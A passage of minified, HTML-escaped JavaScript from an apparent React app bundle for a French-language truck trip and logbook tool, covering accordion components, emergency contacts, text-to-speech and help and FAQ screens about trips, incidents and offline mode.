mb-4 opacity-50&quot;}),a.jsx(&quot;p&quot;,{className:&quot;text-lg font-medium mb-2&quot;,children:&quot;Aucun événement&quot;}),a.jsx(&quot;p&quot;,{className:&quot;text-sm&quot;,children:s?&quot;Aucun événement enregistré pour ce voyage&quot;:&quot;Vous êtes hors ligne. Les événements créés seront synchronisés à la reconnexion.&quot;})]})})}),!t&amp;&amp;a.jsxs(ge,{size:&quot;lg&quot;,className:&quot;fixed bottom-24 right-4 h-16 w-16 rounded-full shadow-xl z-40 flex flex-col items-center justify-center gap-1 p-0 bg-red-600 hover:bg-red-700 text-white border-0&quot;,onClick:()=&gt;p(!0),&quot;aria-label&quot;:&quot;Créer un nouveau problème&quot;,style:{right:&quot;1rem&quot;,left:&quot;auto&quot;,position:&quot;fixed&quot;},children:[a.jsx(Kn,{className:&quot;h-7 w-7&quot;,strokeWidth:2.5}),a.jsx(&quot;span&quot;,{className:&quot;text-[10px] font-semibold leading-tight&quot;,children:&quot;PROBLÈME&quot;})]}),a.jsx(xpe,{open:h,onOpenChange:p}),a.jsx(vpe,{open:A!==null,onOpenChange:O=&gt;{O||y(null)},incidentId:A||0}),d&amp;&amp;a.jsx(&quot;div&quot;,{className:`fixed inset-0 z-50 bg-black/95 flex items-center justify-center ${l?&quot;&quot;:&quot;hidden&quot;}`,onClick:()=&gt;c(!1),children:a.jsxs(&quot;div&quot;,{className:&quot;relative max-w-[95vw] max-h-[95vh] p-4&quot;,children:[a.jsx(&quot;img&quot;,{src:d,alt:&quot;Image agrandie&quot;,className:&quot;max-w-full max-h-[95vh] object-contain&quot;,onClick:O=&gt;O.stopPropagation()}),a.jsx(ge,{variant:&quot;ghost&quot;,size:&quot;icon&quot;,className:&quot;absolute top-2 right-2 text-white hover:bg-white/20&quot;,onClick:()=&gt;c(!1),children:a.jsx(Nn,{className:&quot;h-5 w-5&quot;})})]})})]})}var M4=&quot;Collapsible&quot;,[bpe,H$]=Sc(M4),[wpe,zS]=bpe(M4),q$=I.forwardRef((e,t)=&gt;{const{__scopeCollapsible:r,open:n,defaultOpen:i,disabled:s,onOpenChange:o,...l}=e,[c,d]=a0({prop:n,defaultProp:i??!1,onChange:o,caller:M4});return a.jsx(wpe,{scope:r,disabled:s,contentId:su(),open:c,onOpenToggle:I.useCallback(()=&gt;d(u=&gt;!u),[d]),children:a.jsx(an.div,{&quot;data-state&quot;:HS(c),&quot;data-disabled&quot;:s?&quot;&quot;:void 0,...l,ref:t})})});q$.displayName=M4;var G$=&quot;CollapsibleTrigger&quot;,V$=I.forwardRef((e,t)=&gt;{const{__scopeCollapsible:r,...n}=e,i=zS(G$,r);return a.jsx(an.button,{type:&quot;button&quot;,&quot;aria-controls&quot;:i.contentId,&quot;aria-expanded&quot;:i.open||!1,&quot;data-state&quot;:HS(i.open),&quot;data-disabled&quot;:i.disabled?&quot;&quot;:void 0,disabled:i.disabled,...n,ref:t,onClick:yr(e.onClick,i.onOpenToggle)})});V$.displayName=G$;var $S=&quot;CollapsibleContent&quot;,W$=I.forwardRef((e,t)=&gt;{const{forceMount:r,...n}=e,i=zS($S,e.__scopeCollapsible);return a.jsx(hu,{present:r||i.open,children:({present:s})=&gt;a.jsx(Epe,{...n,ref:t,present:s})})});W$.displayName=$S;var Epe=I.forwardRef((e,t)=&gt;{const{__scopeCollapsible:r,present:n,children:i,...s}=e,o=zS($S,r),[l,c]=I.useState(n),d=I.useRef(null),u=ri(t,d),h=I.useRef(0),p=h.current,A=I.useRef(0),y=A.current,v=o.open||l,w=I.useRef(v),j=I.useRef(void 0);return I.useEffect(()=&gt;{const E=requestAnimationFrame(()=&gt;w.current=!1);return()=&gt;cancelAnimationFrame(E)},[]),zs(()=&gt;{const E=d.current;if(E){j.current=j.current||{transitionDuration:E.style.transitionDuration,animationName:E.style.animationName},E.style.transitionDuration=&quot;0s&quot;,E.style.animationName=&quot;none&quot;;const S=E.getBoundingClientRect();h.current=S.height,A.current=S.width,w.current||(E.style.transitionDuration=j.current.transitionDuration,E.style.animationName=j.current.animationName),c(n)}},[o.open,n]),a.jsx(an.div,{&quot;data-state&quot;:HS(o.open),&quot;data-disabled&quot;:o.disabled?&quot;&quot;:void 0,id:o.contentId,hidden:!v,...s,ref:u,style:{&quot;--radix-collapsible-content-height&quot;:p?`${p}px`:void 0,&quot;--radix-collapsible-content-width&quot;:y?`${y}px`:void 0,...e.style},children:v&amp;&amp;i})});function HS(e){return e?&quot;open&quot;:&quot;closed&quot;}var Cpe=q$,Ipe=V$,jpe=W$,Y0=&quot;Accordion&quot;,Npe=[&quot;Home&quot;,&quot;End&quot;,&quot;ArrowDown&quot;,&quot;ArrowUp&quot;,&quot;ArrowLeft&quot;,&quot;ArrowRight&quot;],[qS,Spe,Bpe]=Kv(Y0),[U4]=Sc(Y0,[Bpe,H$]),GS=H$(),K$=Za.forwardRef((e,t)=&gt;{const{type:r,...n}=e,i=n,s=n;return a.jsx(qS.Provider,{scope:e.__scopeAccordion,children:r===&quot;multiple&quot;?a.jsx(Tpe,{...s,ref:t}):a.jsx(Dpe,{...i,ref:t})})});K$.displayName=Y0;var[Y$,kpe]=U4(Y0),[Z$,_pe]=U4(Y0,{collapsible:!1}),Dpe=Za.forwardRef((e,t)=&gt;{const{value:r,defaultValue:n,onValueChange:i=()=&gt;{},collapsible:s=!1,...o}=e,[l,c]=a0({prop:r,defaultProp:n??&quot;&quot;,onChange:i,caller:Y0});return a.jsx(Y$,{scope:e.__scopeAccordion,value:Za.useMemo(()=&gt;l?[l]:[],[l]),onItemOpen:c,onItemClose:Za.useCallback(()=&gt;s&amp;&amp;c(&quot;&quot;),[s,c]),children:a.jsx(Z$,{scope:e.__scopeAccordion,collapsible:s,children:a.jsx(J$,{...o,ref:t})})})}),Tpe=Za.forwardRef((e,t)=&gt;{const{value:r,defaultValue:n,onValueChange:i=()=&gt;{},...s}=e,[o,l]=a0({prop:r,defaultProp:n??[],onChange:i,caller:Y0}),c=Za.useCallback(u=&gt;l((h=[])=&gt;[...h,u]),[l]),d=Za.useCallback(u=&gt;l((h=[])=&gt;h.filter(p=&gt;p!==u)),[l]);return a.jsx(Y$,{scope:e.__scopeAccordion,value:o,onItemOpen:c,onItemClose:d,children:a.jsx(Z$,{scope:e.__scopeAccordion,collapsible:!0,children:a.jsx(J$,{...s,ref:t})})})}),[Rpe,z4]=U4(Y0),J$=Za.forwardRef((e,t)=&gt;{const{__scopeAccordion:r,disabled:n,dir:i,orientation:s=&quot;vertical&quot;,...o}=e,l=Za.useRef(null),c=ri(l,t),d=Spe(r),h=my(i)===&quot;ltr&quot;,p=yr(e.onKeyDown,A=&gt;{if(!Npe.includes(A.key))return;const y=A.target,v=d().filter(T=&gt;!T.ref.current?.disabled),w=v.findIndex(T=&gt;T.ref.current===y),j=v.length;if(w===-1)return;A.preventDefault();let E=w;const S=0,_=j-1,C=()=&gt;{E=w+1,E&gt;_&amp;&amp;(E=S)},Q=()=&gt;{E=w-1,E&lt;S&amp;&amp;(E=_)};switch(A.key){case&quot;Home&quot;:E=S;break;case&quot;End&quot;:E=_;break;case&quot;ArrowRight&quot;:s===&quot;horizontal&quot;&amp;&amp;(h?C():Q());break;case&quot;ArrowDown&quot;:s===&quot;vertical&quot;&amp;&amp;C();break;case&quot;ArrowLeft&quot;:s===&quot;horizontal&quot;&amp;&amp;(h?Q():C());break;case&quot;ArrowUp&quot;:s===&quot;vertical&quot;&amp;&amp;Q();break}const R=E%j;v[R].ref.current?.focus()});return a.jsx(Rpe,{scope:r,disabled:n,direction:i,orientation:s,children:a.jsx(qS.Slot,{scope:r,children:a.jsx(an.div,{...o,&quot;data-orientation&quot;:s,ref:c,onKeyDown:n?void 0:p})})})}),gw=&quot;AccordionItem&quot;,[Ppe,VS]=U4(gw),X$=Za.forwardRef((e,t)=&gt;{const{__scopeAccordion:r,value:n,...i}=e,s=z4(gw,r),o=kpe(gw,r),l=GS(r),c=su(),d=n&amp;&amp;o.value.includes(n)||!1,u=s.disabled||e.disabled;return a.jsx(Ppe,{scope:r,open:d,disabled:u,triggerId:c,children:a.jsx(Cpe,{&quot;data-orientation&quot;:s.orientation,&quot;data-state&quot;:aH(d),...l,...i,ref:t,disabled:u,open:d,onOpenChange:h=&gt;{h?o.onItemOpen(n):o.onItemClose(n)}})})});X$.displayName=gw;var eH=&quot;AccordionHeader&quot;,tH=Za.forwardRef((e,t)=&gt;{const{__scopeAccordion:r,...n}=e,i=z4(Y0,r),s=VS(eH,r);return a.jsx(an.h3,{&quot;data-orientation&quot;:i.orientation,&quot;data-state&quot;:aH(s.open),&quot;data-disabled&quot;:s.disabled?&quot;&quot;:void 0,...n,ref:t})});tH.displayName=eH;var yN=&quot;AccordionTrigger&quot;,rH=Za.forwardRef((e,t)=&gt;{const{__scopeAccordion:r,...n}=e,i=z4(Y0,r),s=VS(yN,r),o=_pe(yN,r),l=GS(r);return a.jsx(qS.ItemSlot,{scope:r,children:a.jsx(Ipe,{&quot;aria-disabled&quot;:s.open&amp;&amp;!o.collapsible||void 0,&quot;data-orientation&quot;:i.orientation,id:s.triggerId,...l,...n,ref:t})})});rH.displayName=yN;var nH=&quot;AccordionContent&quot;,iH=Za.forwardRef((e,t)=&gt;{const{__scopeAccordion:r,...n}=e,i=z4(Y0,r),s=VS(nH,r),o=GS(r);return a.jsx(jpe,{role:&quot;region&quot;,&quot;aria-labelledby&quot;:s.triggerId,&quot;data-orientation&quot;:i.orientation,...o,...n,ref:t,style:{&quot;--radix-accordion-content-height&quot;:&quot;var(--radix-collapsible-content-height)&quot;,&quot;--radix-accordion-content-width&quot;:&quot;var(--radix-collapsible-content-width)&quot;,...e.style}})});iH.displayName=nH;function aH(e){return e?&quot;open&quot;:&quot;closed&quot;}var Qpe=K$,Fpe=X$,Ope=tH,sH=rH,oH=iH;const bN=Qpe,Il=I.forwardRef(({className:e,...t},r)=&gt;a.jsx(Fpe,{ref:r,className:nr(&quot;border-b&quot;,e),...t}));Il.displayName=&quot;AccordionItem&quot;;const jl=I.forwardRef(({className:e,children:t,...r},n)=&gt;a.jsx(Ope,{className:&quot;flex&quot;,children:a.jsxs(sH,{ref:n,className:nr(&quot;flex flex-1 items-center justify-between py-4 font-medium transition-all hover:underline [&amp;[data-state=open]&gt;svg]:rotate-180&quot;,e),...r,children:[t,a.jsx(F6,{className:&quot;h-4 w-4 shrink-0 transition-transform duration-200&quot;})]})}));jl.displayName=sH.displayName;const Nl=I.forwardRef(({className:e,children:t,...r},n)=&gt;a.jsx(oH,{ref:n,className:&quot;overflow-hidden text-sm transition-all data-[state=closed]:animate-accordion-up data-[state=open]:animate-accordion-down&quot;,...r,children:a.jsx(&quot;div&quot;,{className:nr(&quot;pb-4 pt-0&quot;,e),children:t})}));Nl.displayName=oH.displayName;async function vg(){return await $t(&quot;/api/settings/organization&quot;)}async function $4(e){return await $t(&quot;/api/settings/organization&quot;,{method:&quot;PUT&quot;,body:e})}function WS(){return cr({queryKey:[&quot;/api/settings/organization&quot;],queryFn:()=&gt;vg(),retry:1,onError:e=&gt;{}})}function lH(){const{toast:e}=Er();return _r({mutationFn:t=&gt;$4(t),onSuccess:()=&gt;{jt.invalidateQueries({queryKey:[&quot;/api/settings/organization&quot;]}),e({title:&quot;Succès&quot;,description:&quot;Informations de la société mises à jour avec succès&quot;})},onError:t=&gt;{e({variant:&quot;destructive&quot;,title:&quot;Erreur&quot;,description:t.message||&quot;Impossible de mettre à jour les informations de la société&quot;})}})}const Lpe=[{id:&quot;dispatch&quot;,name:&quot;Dispatch&quot;,role:&quot;dispatch&quot;,phone:&quot;+226 70 00 00 00&quot;},{id:&quot;mechanic&quot;,name:&quot;Mécanicien&quot;,role:&quot;mechanic&quot;,phone:&quot;+226 70 00 00 01&quot;}];function Mpe({contacts:e}){const{data:t,isLoading:r}=WS(),n=I.useMemo(()=&gt;{if(e)return e;const s=[];return t?.dispatchPhone&amp;&amp;s.push({id:&quot;dispatch&quot;,name:&quot;Dispatch&quot;,role:&quot;dispatch&quot;,phone:t.dispatchPhone}),t?.mechanicPhone&amp;&amp;s.push({id:&quot;mechanic&quot;,name:&quot;Mécanicien&quot;,role:&quot;mechanic&quot;,phone:t.mechanicPhone}),s.length&gt;0?s:Lpe},[t,e]),i=s=&gt;{window.location.href=`tel:${s}`};return r?a.jsxs(it,{children:[a.jsx(br,{children:a.jsx(jr,{children:&quot;Contacts&quot;})}),a.jsx(Et,{className:&quot;flex justify-center items-center py-8&quot;,children:a.jsx(Nt,{className:&quot;h-6 w-6 animate-spin text-primary&quot;})})]}):a.jsxs(it,{children:[a.jsx(br,{children:a.jsx(jr,{children:&quot;Contacts&quot;})}),a.jsxs(Et,{className:&quot;space-y-3&quot;,children:[n.map(s=&gt;a.jsxs(&quot;div&quot;,{className:&quot;flex items-center justify-between p-3 rounded-md border bg-card&quot;,children:[a.jsxs(&quot;div&quot;,{className:&quot;flex items-center gap-3 flex-1 min-w-0&quot;,children:[a.jsx(&quot;div&quot;,{className:&quot;flex-shrink-0 w-10 h-10 rounded-full bg-primary/10 flex items-center justify-center&quot;,children:a.jsx(nh,{className:&quot;h-5 w-5 text-primary&quot;})}),a.jsxs(&quot;div&quot;,{className:&quot;flex-1 min-w-0&quot;,children:[a.jsx(&quot;div&quot;,{className:&quot;font-semibold&quot;,children:s.name}),a.jsx(&quot;div&quot;,{className:&quot;text-sm text-muted-foreground truncate&quot;,children:s.phone})]})]}),a.jsx(ge,{onClick:()=&gt;i(s.phone),size:&quot;lg&quot;,className:&quot;min-h-[48px] min-w-[48px] p-0&quot;,children:a.jsx(M6,{className:&quot;h-5 w-5&quot;})})]},s.id)),a.jsx(&quot;div&quot;,{className:&quot;pt-2 text-xs text-muted-foreground text-center&quot;,children:&quot;Appuyez sur le bouton pour appeler&quot;})]})]})}function Ms({text:e,title:t,className:r,size:n=&quot;md&quot;}){const[i,s]=I.useState(!1),[o,l]=I.useState(!1),c=I.useRef(null),d=I.useRef(null);I.useEffect(()=&gt;(typeof window&lt;&quot;u&quot;&amp;&amp;&quot;speechSynthesis&quot;in window&amp;&amp;(l(!0),d.current=window.speechSynthesis),()=&gt;{d.current&amp;&amp;d.current.cancel()}),[]);const u=()=&gt;{if(!d.current||!o)return;if(i){d.current.cancel(),s(!1);return}const p=new SpeechSynthesisUtterance,A=t?`${t}. ${e}`:e;p.text=A,p.lang=&quot;fr-FR&quot;,p.rate=.9,p.pitch=1,p.volume=1,p.onstart=()=&gt;{s(!0)},p.onend=()=&gt;{s(!1),c.current=null},p.onerror=y=&gt;{console.error(&quot;Erreur de synthèse vocale:&quot;,y),s(!1),c.current=null},c.current=p,d.current.speak(p)};if(I.useEffect(()=&gt;()=&gt;{d.current&amp;&amp;i&amp;&amp;d.current.cancel()},[i]),!o)return null;const h={sm:&quot;h-8 w-8&quot;,md:&quot;h-9 w-9&quot;,lg:&quot;h-10 w-10&quot;};return a.jsx(ge,{variant:&quot;outline&quot;,size:&quot;icon&quot;,onClick:u,className:nr(&quot;flex-shrink-0&quot;,h[n],r),title:i?&quot;Arrêter la lecture&quot;:&quot;Lire le texte&quot;,&quot;aria-label&quot;:i?&quot;Arrêter la lecture&quot;:&quot;Lire le texte&quot;,children:i?a.jsx(kse,{className:&quot;h-4 w-4&quot;}):a.jsx(z6,{className:&quot;h-4 w-4&quot;})})}function Upe(){const{toast:e}=Er(),t=eo(),[r,n]=I.useState(!1),i=()=&gt;{if(confirm(&quot;Êtes-vous sûr de vouloir vider le cache ? Cela supprimera toutes les données mises en cache des voyages. Vous devrez vous reconnecter pour recharger les données.&quot;)){n(!0);try{const s=xS();t.clear(),e({title:&quot;Cache vidé&quot;,description:`${s} élément(s) de cache supprimé(s). La page va se recharger...`}),setTimeout(()=&gt;{window.location.reload()},1500)}catch{e({variant:&quot;destructive&quot;,title:&quot;Erreur&quot;,description:&quot;Impossible de vider le cache. Veuillez réessayer.&quot;}),n(!1)}}};return a.jsxs(&quot;div&quot;,{className:&quot;p-4 pb-20 space-y-4 max-w-2xl mx-auto&quot;,children:[a.jsxs(&quot;div&quot;,{className:&quot;text-center space-y-2&quot;,children:[a.jsxs(&quot;div&quot;,{className:&quot;flex items-center justify-center gap-2&quot;,children:[a.jsx(Gl,{className:&quot;h-6 w-6 text-primary&quot;}),a.jsx(&quot;h1&quot;,{className:&quot;text-2xl font-bold&quot;,children:&quot;Aide &amp; Support&quot;})]}),a.jsx(&quot;p&quot;,{className:&quot;text-sm text-muted-foreground&quot;,children:&quot;Guide d&#039;utilisation et contacts d&#039;urgence&quot;})]}),a.jsxs(it,{children:[a.jsx(br,{children:a.jsxs(jr,{className:&quot;flex items-center justify-between&quot;,children:[a.jsxs(&quot;div&quot;,{className:&quot;flex items-center gap-2&quot;,children:[a.jsx(M6,{className:&quot;h-5 w-5 text-primary&quot;}),&quot;Contacts d&#039;urgence&quot;]}),a.jsx(Ms,{text:&quot;En cas d&#039;urgence, contactez le dispatch ou le mécanicien. Les numéros sont disponibles ci-dessous.&quot;,title:&quot;Contacts d&#039;urgence&quot;})]})}),a.jsx(Et,{children:a.jsx(Mpe,{})})]}),a.jsxs(it,{children:[a.jsx(br,{children:a.jsxs(jr,{className:&quot;flex items-center justify-between&quot;,children:[a.jsxs(&quot;div&quot;,{className:&quot;flex items-center gap-2&quot;,children:[a.jsx(Wf,{className:&quot;h-5 w-5 text-primary&quot;}),&quot;Guide rapide&quot;]}),a.jsx(Ms,{text:&quot;Ce guide vous explique comment utiliser l&#039;application pour gérer vos voyages, votre journal de bord, et toutes les actions disponibles. L&#039;application fonctionne même sans connexion internet.&quot;,title:&quot;Guide rapide&quot;})]})}),a.jsx(Et,{children:a.jsxs(bN,{type:&quot;single&quot;,collapsible:!0,className:&quot;w-full&quot;,children:[a.jsxs(Il,{value:&quot;voyage&quot;,children:[a.jsx(jl,{children:a.jsxs(&quot;div&quot;,{className:&quot;flex items-center gap-2&quot;,children:[a.jsx(ei,{className:&quot;h-4 w-4&quot;}),a.jsx(&quot;span&quot;,{children:&quot;Gérer mon voyage&quot;})]})}),a.jsxs(Nl,{className:&quot;space-y-3 text-sm&quot;,children:[a.jsxs(&quot;div&quot;,{className:&quot;flex items-start justify-between gap-2&quot;,children:[a.jsxs(&quot;div&quot;,{className:&quot;flex-1 space-y-2&quot;,children:[a.jsx(&quot;p&quot;,{className:&quot;font-semibold&quot;,children:&quot;Démarrer un voyage :&quot;}),a.jsxs(&quot;ol&quot;,{className:&quot;list-decimal list-inside space-y-1 text-muted-foreground&quot;,children:[a.jsx(&quot;li&quot;,{children:&quot;Vérifiez les informations du voyage (véhicule, remorque, équipage)&quot;}),a.jsx(&quot;li&quot;,{children:&#039;Cliquez sur le bouton vert &quot;Je pars maintenant&quot; pour démarrer le voyage ALLER&#039;}),a.jsx(&quot;li&quot;,{children:`Suivez les étapes dans l&#039;ordre indiqué. Cliquez sur le bouton &quot;Passé...&quot; quand vous avez franchi l&#039;étape`}),a.jsx(&quot;li&quot;,{children:`Validez chaque étape en cliquant sur le bouton &quot;Passé...&quot; quand vous avez franchi l&#039;étape`})]})]}),a.jsx(Ms,{text:&quot;Pour démarrer un voyage, vérifiez d&#039;abord les informations du voyage comme le véhicule, la remorque et l&#039;équipage. Ensuite, cliquez sur le bouton vert Je pars maintenant pour démarrer le voyage ALLER. Suivez les étapes dans l&#039;ordre indiqué et cliquez sur le bouton Passé quand vous avez franchi l&#039;étape. Validez chaque étape en cliquant sur le bouton Passé quand vous avez franchi l&#039;étape. Après l&#039;aller, arrivé à destination, il faut d&#039;abord charger la note de pesée de chargement, puis cliquer sur le bouton bleu Je retourne maintenant pour démarrer le retour. Complétez toutes les étapes du retour. Arrivé au lieu de livraison, enregistrez la pesée de livraison. Cliquez sur Clôturer le voyage une fois terminé. Il faut être connecté au réseau pour pouvoir terminer un voyage.&quot;,title:&quot;Gérer mon voyage&quot;,size:&quot;sm&quot;})]}),a.jsxs(&quot;div&quot;,{className:&quot;space-y-2 pt-2 border-t&quot;,children:[a.jsx(&quot;p&quot;,{className:&quot;font-semibold&quot;,children:&quot;Retour et clôture :&quot;}),a.jsxs(&quot;ol&quot;,{className:&quot;list-decimal list-inside space-y-1 text-muted-foreground&quot;,children:[a.jsx(&quot;li&quot;,{children:`Après l&#039;aller, arrivé à destination, il faut d&#039;abord charger la note de pesée de chargement, puis cliquer sur le bouton bleu &quot;Je retourne maintenant&quot; pour démarrer le retour`}),a.jsx(&quot;li&quot;,{children:&quot;Complétez toutes les étapes du retour&quot;}),a.jsx(&quot;li&quot;,{children:&quot;Arrivé au lieu de livraison, enregistrez la pesée de livraison&quot;}),a.jsx(&quot;li&quot;,{children:&#039;Cliquez sur &quot;Clôturer le voyage&quot; une fois terminé. Il faut être connecté au réseau pour pouvoir terminer un voyage.&#039;})]})]})]})]}),a.jsxs(Il,{value:&quot;journal&quot;,children:[a.jsx(jl,{children:a.jsxs(&quot;div&quot;,{className:&quot;flex items-center gap-2&quot;,children:[a.jsx(po,{className:&quot;h-4 w-4&quot;}),a.jsx(&quot;span&quot;,{children:&quot;Journal de bord&quot;})]})}),a.jsxs(Nl,{className:&quot;space-y-3 text-sm&quot;,children:[a.jsxs(&quot;div&quot;,{className:&quot;flex items-start justify-between gap-2&quot;,children:[a.jsxs(&quot;div&quot;,{className:&quot;flex-1 space-y-2&quot;,children:[a.jsx(&quot;p&quot;,{className:&quot;font-semibold&quot;,children:&quot;Créer un nouvel incident :&quot;}),a.jsxs(&quot;ul&quot;,{className:&quot;list-disc list-inside space-y-1 text-muted-foreground&quot;,children:[a.jsx(&quot;li&quot;,{children:&#039;Cliquez sur le bouton &quot;+&quot; en bas du journal&#039;}),a.jsx(&quot;li&quot;,{children:&quot;Sélectionnez le type d&#039;incident (roue, électricité, moteur, frein, autre)&quot;}),a.jsx(&quot;li&quot;,{children:&quot;Ajoutez des photos ou vidéos pour illustrer&quot;}),a.jsx(&quot;li&quot;,{children:&quot;Envoyez un message audio ou texte&quot;}),a.jsx(&quot;li&quot;,{children:&quot;L&#039;incident sera traité par le dispatch&quot;})]})]}),a.jsx(Ms,{text:&quot;Pour créer un nouvel incident, cliquez sur le bouton plus en bas du journal. Sélectionnez le type d&#039;incident comme roue, électricité, moteur, frein ou autre. Ajoutez des photos ou vidéos pour illustrer, envoyez un message audio ou texte. L&#039;incident sera traité par le dispatch. Pour répondre ou ajouter des informations à un incident déjà créé, cliquez sur le bouton Répondre en bas du message. Les événements sont sauvegardés même en mode offline.&quot;,title:&quot;Journal de bord&quot;,size:&quot;sm&quot;})]}),a.jsxs(&quot;div&quot;,{className:&quot;space-y-2 pt-2 border-t&quot;,children:[a.jsx(&quot;p&quot;,{className:&quot;font-semibold&quot;,children:&quot;Répondre à un incident :&quot;}),a.jsxs(&quot;ul&quot;,{className:&quot;list-disc list-inside space-y-1 text-muted-foreground&quot;,children:[a.jsx(&quot;li&quot;,{children:&#039;Pour répondre ou ajouter des informations à un incident déjà créé, cliquez sur le bouton &quot;Répondre&quot; en bas du message&#039;}),a.jsx(&quot;li&quot;,{children:&quot;Vous pouvez ajouter des photos, vidéos, audio ou texte&quot;}),a.jsx(&quot;li&quot;,{children:&quot;Les réponses sont sauvegardées même en mode offline&quot;})]})]})]})]}),a.jsxs(Il,{value:&quot;actions&quot;,children:[a.jsx(jl,{children:a.jsxs(&quot;div&quot;,{className:&quot;flex items-center gap-2&quot;,children:[a.jsx(Px,{className:&quot;h-4 w-4&quot;}),a.jsx(&quot;span&quot;,{children:&quot;Actions disponibles&quot;})]})}),a.jsx(Nl,{className:&quot;space-y-3 text-sm&quot;,children:a.jsxs(&quot;div&quot;,{className:&quot;flex items-start justify-between gap-2&quot;,children:[a.jsxs(&quot;div&quot;,{className:&quot;flex-1 grid grid-cols-2 gap-3&quot;,children:[a.jsxs(&quot;div&quot;,{className:&quot;flex items-start gap-2 p-2 rounded border&quot;,children:[a.jsx(HA,{className:&quot;h-4 w-4 text-primary mt-0.5&quot;}),a.jsxs(&quot;div&quot;,{children:[a.jsx(&quot;p&quot;,{className:&quot;font-semibold text-xs&quot;,children:&quot;Pesée&quot;}),a.jsx(&quot;p&quot;,{className:&quot;text-xs text-muted-foreground&quot;,children:&quot;Enregistrer un ticket de pesée&quot;})]})]}),a.jsxs(&quot;div&quot;,{className:&quot;flex items-start gap-2 p-2 rounded border&quot;,children:[a.jsx(cv,{className:&quot;h-4 w-4 text-primary mt-0.5&quot;}),a.jsxs(&quot;div&quot;,{children:[a.jsx(&quot;p&quot;,{className:&quot;font-semibold text-xs&quot;,children:&quot;Carburant&quot;}),a.jsx(&quot;p&quot;,{className:&quot;text-xs text-muted-foreground&quot;,children:&quot;Ajouter un plein&quot;})]})]}),a.jsxs(&quot;div&quot;,{className:&quot;flex items-start gap-2 p-2 rounded border&quot;,children:[a.jsx(l1,{className:&quot;h-4 w-4 text-primary mt-0.5&quot;}),a.jsxs(&quot;div&quot;,{children:[a.jsx(&quot;p&quot;,{className:&quot;font-semibold text-xs&quot;,children:&quot;Dépenses&quot;}),a.jsx(&quot;p&quot;,{className:&quot;text-xs text-muted-foreground&quot;,children:&quot;Enregistrer une dépense&quot;})]})]}),a.jsxs(&quot;div&quot;,{className:&quot;flex items-start gap-2 p-2 rounded border&quot;,children:[a.jsx(mo,{className:&quot;h-4 w-4 text-primary mt-0.5&quot;}),a.jsxs(&quot;div&quot;,{children:[a.jsx(&quot;p&quot;,{className:&quot;font-semibold text-xs&quot;,children:&quot;Médias&quot;}),a.jsx(&quot;p&quot;,{className:&quot;text-xs text-muted-foreground&quot;,children:&quot;Photos et vidéos&quot;})]})]})]}),a.jsx(Ms,{text:&quot;Les actions disponibles incluent : Pesée pour enregistrer un ticket de pesée, Carburant pour ajouter un plein, Dépenses pour enregistrer une dépense, et Médias pour prendre des photos et vidéos.&quot;,title:&quot;Actions disponibles&quot;,size:&quot;sm&quot;})]})})]}),a.jsxs(Il,{value:&quot;offline&quot;,children:[a.jsx(jl,{children:a.jsxs(&quot;div&quot;,{className:&quot;flex items-center gap-2&quot;,children:[a.jsx(qd,{className:&quot;h-4 w-4&quot;}),a.jsx(&quot;span&quot;,{children:&quot;Mode hors ligne&quot;})]})}),a.jsx(Nl,{className:&quot;space-y-3 text-sm&quot;,children:a.jsxs(&quot;div&quot;,{className:&quot;flex items-start justify-between gap-2&quot;,children:[a.jsxs(&quot;div&quot;,{className:&quot;flex-1 space-y-2&quot;,children:[a.jsx(&quot;p&quot;,{className:&quot;text-muted-foreground&quot;,children:&quot;L&#039;application fonctionne même sans connexion internet. Toutes vos actions sont sauvegardées localement et synchronisées automatiquement dès que la connexion est rétablie.&quot;}),a.jsxs(&quot;div&quot;,{className:&quot;pt-2 space-y-1&quot;,children:[a.jsx(&quot;p&quot;,{className:&quot;font-semibold&quot;,children:&quot;Fonctionnalités disponibles offline :&quot;}),a.jsxs(&quot;ul&quot;,{className:&quot;list-disc list-inside space-y-1 text-muted-foreground&quot;,children:[a.jsx(&quot;li&quot;,{children:&quot;Valider les étapes du voyage&quot;}),a.jsx(&quot;li&quot;,{children:&quot;Ajouter des notes et événements&quot;}),a.jsx(&quot;li&quot;,{children:&quot;Signaler des incidents&quot;}),a.jsx(&quot;li&quot;,{children:&quot;Prendre des photos/vidéos&quot;}),a.jsx(&quot;li&quot;,{children:&quot;Enregistrer pesée, carburant et dépenses&quot;})]})]}),a.jsx(&quot;div&quot;,{className:&quot;pt-2 border-t&quot;,children:a.jsxs(yt,{variant:&quot;outline&quot;,className:&quot;text-xs&quot;,children:[a.jsx(qd,{className:&quot;h-3 w-3 mr-1&quot;}),&quot;Les données seront synchronisées à la reconnexion&quot;]})})]}),a.jsx(Ms,{text:&quot;L&#039;application fonctionne même sans connexion internet. Toutes vos actions sont sauvegardées localement et synchronisées automatiquement dès que la connexion est rétablie. Les fonctionnalités disponibles offline incluent : valider les étapes du voyage, ajouter des notes et événements, signaler des incidents, prendre des photos et vidéos, et enregistrer pesée, carburant et dépenses. Les données seront synchronisées à la reconnexion.&quot;,title:&quot;Mode hors ligne&quot;,size:&quot;sm&quot;})]})})]})]})})]}),a.jsxs(it,{children:[a.jsx(br,{children:a.jsxs(jr,{className:&quot;flex items-center justify-between&quot;,children:[a.jsxs(&quot;div&quot;,{className:&quot;flex items-center gap-2&quot;,children:[a.jsx(Gl,{className:&quot;h-5 w-5 text-primary&quot;}),&quot;Questions fréquentes&quot;]}),a.jsx(Ms,{text:&quot;Cette section répond aux questions les plus fréquentes sur l&#039;utilisation de l&#039;application.&quot;,title:&quot;Questions fréquentes&quot;})]})}),a.jsx(Et,{children:a.jsxs(bN,{type:&quot;single&quot;,collapsible:!0,className:&quot;w-full&quot;,children:[a.jsxs(Il,{value:&quot;faq1&quot;,children:[a.jsx(jl,{className:&quot;text-sm&quot;,children:&quot;Que faire si je ne peux pas valider une étape ?&quot;}),a.jsx(Nl,{className:&quot;text-sm text-muted-foreground&quot;,children:a.jsxs(&quot;div&quot;,{className:&quot;flex items-start justify-between gap-2&quot;,children:[a.jsx(&quot;p&quot;,{className:&quot;flex-1&quot;,children:&quot;Vérifiez que vous avez bien complété l&#039;étape précédente. Si le problème persiste, contactez le dispatch ou ajoutez une note dans le journal pour expliquer la situation.&quot;}),a.jsx(Ms,{text:&quot;Vérifiez que vous avez bien complété l&#039;étape précédente. Si le problème persiste, contactez le dispatch ou ajoutez une note dans le journal pour expliquer la situation.&quot;,title:&quot;Que faire si je ne peux pas valider une étape&quot;,size:&quot;sm&quot;})]})})]}),a.jsxs(Il,{value:&quot;faq2&quot;,children:[a.jsx(jl,{className:&quot;text-sm&quot;,children:&quot;Comment savoir si mes données sont synchronisées ?&quot;}),a.jsx(Nl,{className:&quot;text-sm 